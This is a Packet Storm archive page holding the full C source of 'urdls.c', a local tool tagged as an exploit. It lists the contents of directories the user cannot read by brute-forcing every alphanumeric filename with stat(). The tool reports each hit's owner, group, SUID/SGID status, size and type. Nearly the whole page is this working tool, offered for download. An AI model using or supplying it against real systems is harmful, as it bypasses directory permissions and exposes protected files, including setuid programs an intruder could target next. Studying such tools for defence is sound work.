evolve or die

urdls.c

urdls.c
Posted Feb 14, 2001
Authored by vade79, realhalo | Site realhalo.org

Urdls.c is an unreadable directory lister for listing files in directories on the local machine without having permission to do so. Guesses all possible alphanumeric filenames and uses stat() to check for existence.

tags | exploit, local
MD5 | 1d6fbb2a733fdc4734fdb685dfebe2d3

urdls.c

Change Mirror Download
/* URDLS: unreadable directory lister -- v2. *********************************
* urdls.c/urdls[revision2], (alphanumeric) unreadable directory lister. *
* for listing files in directories without having permission to do so. *
* this program goes in a round-up (with 09-AZ-az) fashion, so it supports *
* start and stop points. (argument 3) *
* *
* by: vade79 -> v9[v9@realhalo.org] -> www.fakehalo.org. *
*****************************************************************************/
#include <stdio.h>
#include <pwd.h>
#include <grp.h>
#include <signal.h>
#include <sys/stat.h>
#define MAX_DIRECTORY_LEN 4095 /* maximum directory length. */
#define MAX_FILENAME_LEN 255 /* maximum filename length. */
#define MAX_ID_ENTRY_LEN 1024 /* maximum id entry length. */
char file[MAX_FILENAME_LEN+1];
char path[MAX_DIRECTORY_LEN+1];
char fullpath[sizeof(path)+sizeof(file)];
char owner_u[MAX_ID_ENTRY_LEN];
char owner_g[MAX_ID_ENTRY_LEN];
void quit(){
fprintf(stderr,"finished run of: %s (stopped at: %s)\n",path,file);
exit(0);
}
main(int argc,char **argv){
int i=0;
int j=1;
int s=0;
int cpudelay=0;
char setid[5];
char filetype[5];
struct stat mod;
struct passwd *user;
struct group *group;
fprintf(stderr,"[ unreadable directory file lister, by v9[v9@realhalo.org]. ]"
"\n");
if(argc>1){
if(strlen(argv[1])>MAX_DIRECTORY_LEN){
fprintf(stderr,"%s: argument 1 is too large.\n",argv[0]);
exit(1);
}
strncpy(path,argv[1],MAX_DIRECTORY_LEN);
if(path[strlen(path)-1]!=(char)0x2F)
sprintf(path,"%s/",path);
if(stat(path,&mod)||!S_ISDIR(mod.st_mode)){
fprintf(stderr,"%s: argument 1 is an invalid directory.\n",argv[0]);
exit(1);
}
}
else{
fprintf(stderr,"usage: %s <directory> [cpu delay(usecs)] [start value]\n",
argv[0]);
exit(0);
}
if(argc>2){
if(atoi(argv[2])<0){
fprintf(stderr,"%s: argument 2 must be equal or greater than zero.\n",
argv[0]);
exit(1);
}
else
cpudelay=atoi(argv[2]);
}
if(argc>3){
if(strlen(argv[3])>MAX_FILENAME_LEN){
fprintf(stderr,"%s: argument 3 is too large.\n",argv[0]);
exit(1);
}
else{
strcpy(file,argv[3]);
for(i=0;strlen(file)>i;i++)
if(!isalnum(file[i])){
fprintf(stderr,"%s: argument 3 has non-alphanumeric character(s).\n",
argv[0]);
exit(1);
}
}
}
else
file[0]=0x2F;
signal(SIGINT,quit);
fprintf(stderr,"[ directory: %s, delay(usecs): %d, start value: %s. ]\n",path,
cpudelay,file[0]==(char)0x2F?"new session":file);
fprintf(stderr,"num%cowner%cgroup%cprivs%csize%ctype%cfilename\n",0x9,0x9,0x9,
0x9,0x9,0x9);
while(1){
file[strlen(file)-1]++;
for(i=strlen(file);(i+1);i--){
if(file[i]>=(char)0x7B){
if(i){
file[i]=0x30;
file[i-1]++;
}
else{
if(strlen(file)>=MAX_FILENAME_LEN){
fprintf(stderr,"finished run of: %s\n",path);
exit(0);
}
else{
file[0]=0x30;
sprintf(file,"%c%s",0x30,file);
}
}
}
if(file[i]==(char)0x5B)
file[i]=0x61;
if(file[i]==(char)0x3A)
file[i]=0x41;
}
snprintf(fullpath,sizeof(fullpath),"%s%s",path,file);
if(!stat(fullpath,&mod)){
if(!(user=getpwuid(mod.st_uid)))
sprintf(owner_u,"%u",mod.st_uid);
else{
if(user->pw_name)
strncpy(owner_u,user->pw_name,MAX_ID_ENTRY_LEN);
else
sprintf(owner_u,"%u",user->pw_uid);
}
if(!(group=getgrgid(mod.st_gid)))
sprintf(owner_g,"%u",mod.st_gid);
else{
if(group->gr_name)
strncpy(owner_g,group->gr_name,MAX_ID_ENTRY_LEN);
else
sprintf(owner_g,"%u",group->gr_gid);
}
sprintf(setid,"none");
if(S_ISUID&mod.st_mode)
sprintf(setid,"SUID");
if(S_ISGID&mod.st_mode){
if(S_ISUID&mod.st_mode)
sprintf(setid,"S*ID");
else
sprintf(setid,"SGID");
}
if(S_ISREG(mod.st_mode))
sprintf(filetype,"file");
else if(S_ISLNK(mod.st_mode))
sprintf(filetype,"link");
else if(S_ISDIR(mod.st_mode))
sprintf(filetype,"dir");
else if(S_ISCHR(mod.st_mode))
sprintf(filetype,"cdev");
else if(S_ISBLK(mod.st_mode))
sprintf(filetype,"bdev");
else if(S_ISFIFO(mod.st_mode))
sprintf(filetype,"fifo");
else if(S_ISSOCK(mod.st_mode))
sprintf(filetype,"sock");
fprintf(stderr,"#%d%c%s%c%s%c%s%c%dkb%c%s%c%s\n",j++,0x9,owner_u,0x9,
owner_g,0x9,setid,0x9,(mod.st_size/1024),0x9,filetype,0x9,file);
}
if(cpudelay)
usleep(cpudelay);
}
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close